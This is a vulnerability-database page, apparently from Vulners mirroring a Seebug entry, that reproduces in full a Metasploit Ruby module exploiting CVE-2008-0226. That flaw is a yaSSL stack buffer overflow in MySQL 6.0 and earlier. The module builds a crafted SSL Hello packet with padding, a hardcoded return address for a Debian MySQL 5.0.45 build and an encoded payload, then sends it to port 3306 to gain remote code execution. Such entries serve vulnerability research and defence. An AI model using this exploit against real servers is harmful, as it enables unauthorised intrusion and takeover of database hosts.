Lucene search
K

MySQL <= 6.0 yaSSL <= 1.7.5 - Hello Message Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

MySQL yaSSL SSL Hello Message Buffer Overflow, potential code execution in MySQL version <= 6.

Code

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require &#39;msf/core&#39;


class Metasploit3 &#60; Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			&#39;Name&#39;           =&#62; &#39;MySQL yaSSL SSL Hello Message Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
					implementation bundled with MySQL &#60;= 6.0. By sending a specially crafted
					Hello packet, an attacker may be able to execute arbitrary code.
			},
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision$&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2008-0226&#39; ],
					[ &#39;OSVDB&#39;, &#39;41195&#39; ],
					[ &#39;BID&#39;, &#39;27140&#39; ],

				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 100,
					&#39;BadChars&#39; =&#62; &#34;\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;linux&#39;,
			&#39;Targets&#39;        =&#62; 
				[
					[ &#39;MySQL 5.0.45-Debian_1ubuntu3.1-log&#39;, { &#39;Ret&#39; =&#62; 0x085967fb } ], 
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jan 4 2008&#39;))

			register_options([ Opt::RPORT(3306)], self.class)
	end
		
	def exploit
		connect

		sock.get_once

		req_uno =  [0x01000020].pack(&#39;V&#39;)

		req_dos =  [0x00008daa].pack(&#39;V&#39;) + [0x40000000].pack(&#39;V&#39;)
		req_dos &#60;&#60; [0x00000008].pack(&#39;V&#39;) + [0x00000000].pack(&#39;V&#39;)
		req_dos &#60;&#60; [0x00000000].pack(&#39;V&#39;) + [0x00000000].pack(&#39;V&#39;)
		req_dos &#60;&#60; [0x00000000].pack(&#39;V&#39;) + [0x00000000].pack(&#39;V&#39;)
		req_dos &#60;&#60; [0x03010000].pack(&#39;V&#39;) + [0x00000001].pack(&#39;V&#39;)
		req_dos &#60;&#60; &#34;\x00\x0F\xFF&#34; + rand_text_alphanumeric(3965)
		req_dos &#60;&#60; [target.ret].pack(&#39;V&#39;) + payload.encoded
		req_dos &#60;&#60; rand_text_alphanumeric(1024)

		print_status(&#34;Trying target #{target.name}...&#34;)

		sock.put(req_uno)
		sock.put(req_dos)

		handler
		disconnect
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation